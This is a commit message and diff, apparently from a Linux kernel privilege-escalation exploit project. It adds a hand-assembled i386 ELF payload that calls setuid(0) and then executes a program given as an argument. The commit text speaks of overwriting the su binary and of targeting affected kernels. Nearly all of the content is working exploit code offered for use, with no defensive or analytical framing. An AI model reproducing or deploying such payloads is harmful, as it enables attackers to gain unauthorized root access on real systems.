✨feat: allow binary exec and improve documentation

- Added new shellcode payloads for exec-argv1 and exec-bin-sh for amd64, i386, and aarch64 architectures.
- Introduced a backup feature for the su binary before overwriting it.
- Enhanced README.md with usage instructions and details about affected kernels.
- Added build-n-print.sh script for building and printing payloads in hex format.

payloads/exec-argv1-i386.asm

@@ -0,0 +1,59 @@
+BITS 32
+org 0x08048000
+
+; --- 32-bit ELF Header ---
+ehdr:
+    db 0x7F, "ELF"  ; e_ident
+    db 1            ; EI_CLASS (1 = 32-bit)
+    db 1            ; EI_DATA (1 = little endian)
+    db 1            ; EI_VERSION
+    db 0            ; EI_OSABI
+    db 0, 0, 0, 0, 0, 0, 0, 0
+    dw 2            ; e_type: Executable
+    dw 3            ; e_machine: EM_386 (x86)
+    dd 1            ; e_version
+    dd _start       ; e_entry
+    dd phdr - ehdr  ; e_phoff (offset to program header)
+    dd 0            ; e_shoff
+    dd 0            ; e_flags
+    dw 52           ; e_ehsize (32-bit ELF header size)
+    dw 32           ; e_phentsize (32-bit Program header size)
+    dw 1            ; e_phnum (Number of program headers)
+    dw 0            ; e_shentsize
+    dw 0            ; e_shnum
+    dw 0            ; e_shstrndx
+
+; --- Program Header (PT_LOAD) ---
+phdr:
+    dd 1            ; p_type: PT_LOAD
+    dd 0            ; p_offset
+    dd 0x08048000   ; p_vaddr
+    dd 0x08048000   ; p_paddr
+    dd file_end - ehdr ; p_filesz
+    dd file_end - ehdr ; p_memsz
+    dd 5            ; p_flags: PF_R | PF_X (Read + Execute)
+    dd 0x1000       ; p_align
+
+; --- Payload ---
+_start:
+    ; setuid32(0)
+    xor    eax, eax
+    xor    ebx, ebx       ; ebx = 0 (UID)
+    mov    al, 213        ; sys_setuid32 (213)
+    int    0x80
+
+    ; execve(argv[1], NULL, NULL)
+    mov    ebx, [esp+8]   ; ebx = argv[1] (pointers are 4 bytes, so[esp+8])
+    xor    ecx, ecx       ; ecx = NULL
+    push   11             ; sys_execve (11)
+    pop    eax
+    cdq                   ; edx = 0 (sign-extends eax into edx)
+    int    0x80
+
+    ; exit(0)
+    xor    ebx, ebx       ; Exit code 0
+    push   1              ; sys_exit (1)
+    pop    eax
+    int    0x80
+
+file_end: